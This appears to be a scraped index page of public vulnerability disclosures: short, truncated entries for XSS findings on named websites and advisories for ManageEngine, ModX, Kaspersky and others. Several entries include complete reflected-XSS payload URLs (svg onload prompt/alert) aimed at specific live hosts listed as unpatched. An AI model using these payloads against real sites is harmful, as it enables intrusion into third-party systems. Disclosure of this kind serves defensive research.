186.42.197.154 XSS vulnerability

Vulnerable URL: http://186.42.197.154/cgi-bin/koha/opac-alert-subscribe.pl?externalid=6=issue=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

bata.in XSS vulnerability

Vulnerable URL: http://bata.in/bataindia/faces/tiles/search.jsp?q=Scholl==2===2=====&k1;=&k2;=&k3;=&k4;=&k5;=&k6;=&k7;=&k8;=&k9;=&k10;=&k11;=&k12;==g===16========%2Fbataindia%2Ftiles%2Fsearch.jsp=="';--===®=〈===0======= Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

Unfixed XSS vulnerability at lavillette.com

Security researcher 0x73F, has submitted on 12/03/2015 a cross-site-scripting XSS vulnerability affecting lavillette.com, which at the time of submission ranked 431160 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/03/2015. It is currently...

gerflor.com.au XSS vulnerability

Vulnerable URL: http://www.gerflor.com.au/search.html?search=%22--%3E+%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%3Balert%28%2FXSSPOSED%2F%29%3B%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

prepaid-phone-cards-online.pushline.com XSS vulnerability

Vulnerable URL: http://prepaid-phone-cards-online.pushline.com/reg/forgot-password.php?login=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

ModX Revolution 2.3.5-pl Cross Site Scripting

ModX Revolution 2.3.5-pl: Reflected Cross Site Scripting Vulnerability Security Advisory – Curesec Research Team 1. Introduction Affected Product: ModX Revolution 2.3.5-pl Fixed in: not fixed Fixed Version Link: n/a Vendor Contact: [email protected] Vulnerability Type: Reflected XSS Remote...

usccb.org XSS vulnerability

Vulnerable URL: http://www.usccb.org/search.cfm?site=newusccb=newusccbfrontend="&btnG.x;=8&btnG.y;=18〈=eng Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16848 Google Pagerank| 7 V...

Libmimedir VCF Memory Corruption PoC

Libmimedir suffers from a memory corruption vulnerability. Adding two NULL bytes to the end of a VCF file allows a user to manipulate free calls which occur during it's lexer's memory clean-up procedure. This could lead to exploitable conditions such as crafting a specific memory chunk to allow f...

Unfixed XSS vulnerability at www.maybankard.net

Security researcher SaifuddinAmri, has submitted on 05/03/2015 a cross-site-scripting XSS vulnerability affecting www.maybankard.net, which at the time of submission ranked 166631 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 10/03/2015. It i...

Unfixed XSS vulnerability at www.i-mxms.com

Security researcher DevaDraco, has submitted on 27/02/2015 a cross-site-scripting XSS vulnerability affecting www.i-mxms.com, which at the time of submission ranked 20181176 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 10/03/2015. It is...

ManageEngine OpManager Applications Manager IT360 - FailOverServlet Multiple Vulnerabilities

ManageEngine OpManager Applications Manager IT360 - FailOverServlet Multiple Vulnerabilities Multiple vulnerabilities in FailOverServlet in ManageEngine OpManager, Applications Manager and IT360 Discovered by Pedro Ribeiro [email protected], Agile Information Security...

ManageEngine Netflow Analyzer IT360 - Arbitrary File Download

ManageEngine Netflow Analyzer IT360 - Arbitrary File Download Arbitrary file download in ManageEngine Netflow Analyzer and IT360 Discovered by Pedro Ribeiro [email protected], Agile Information Security ========================================================================== Disclosure: 30/11/20...

ManageEngine Netflow Analyzer / IT360 - Arbitrary File Download

Arbitrary file download in ManageEngine Netflow Analyzer and IT360 Discovered by Pedro Ribeiro [email protected], Agile Information Security ========================================================================== Disclosure: 30/11/2014 / Last updated: 3/12/2014 Background on the affected produc...

ManageEngine Netflow Analyzer / IT360 File Download Vulnerability

ManageEngine Netflow Analyzer and IT360 suffer from an arbitrary file download vulnerability. This is part 9 of the ManageOwnage series. For previous parts see 1. Today we have yet another 0 day - an arbitrary file download vulnerability that be exploited unauthenticated in NetFlow Analyzer and...

ManageEngine EventLog Analyzer - Multiple Vulnerabilities (2)

Multiple vulnerabilities in ManageEngine EventLog Analyzer Discovered by Pedro Ribeiro [email protected], Agile Information Security ========================================================================== Disclosure: 05/11/2014 / Last updated: 05/11/2014 Background on the affected product:...

Prometeo 1.0.65 - SQL Injection Vulnerability

No description provided by source. // / ////// //////// /// / / / / // / / / / /// //////// / / // / / / // / // /// //////// // ================================= Prometeo vers. 1.0.65 -SQLi Vulnerability- ================================= -Vulnerability ID: LD3-Product: Prometeo-Vendor: Prometeo...

ClanTiger <= 1.1.1 (slug) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl || || || -----------------------------------------\ == -- ----------- ---------------------------- ------------------/ ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ¡PROUD TO BE SPANISH!...

Kaspersky Internet Security 2013 - Denial of Service Vulnerability

No description provided by source. I usually do not write security advisories unless absolutely necessary. This time I should, however I have neither the time, nor the desire to do so. But Kaspersky did not react, so ... quick and dirty: Kaspersky Internet Security 2013 and any other Kaspersky...

Unfixed XSS vulnerability at www.titivillus.it

Security researcher MrCyph3r, has submitted on 06/10/2014 a cross-site-scripting XSS vulnerability affecting www.titivillus.it, which at the time of submission ranked 11882046 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/03/2015. It is...

Ian Dunn: Path Disclosure Vulnerability

Hey , I'm Jamal in this report i want to show you a Vulnerability Found It In basic-google-maps-placemarks Pugin Description: Title : Path Disclosure Vulnerability Status : Unfixed Tested on : Firefox Author : Jamal Eddine Email : [email protected] Discovered : 2014/05/04 Report it : 2014/05/04...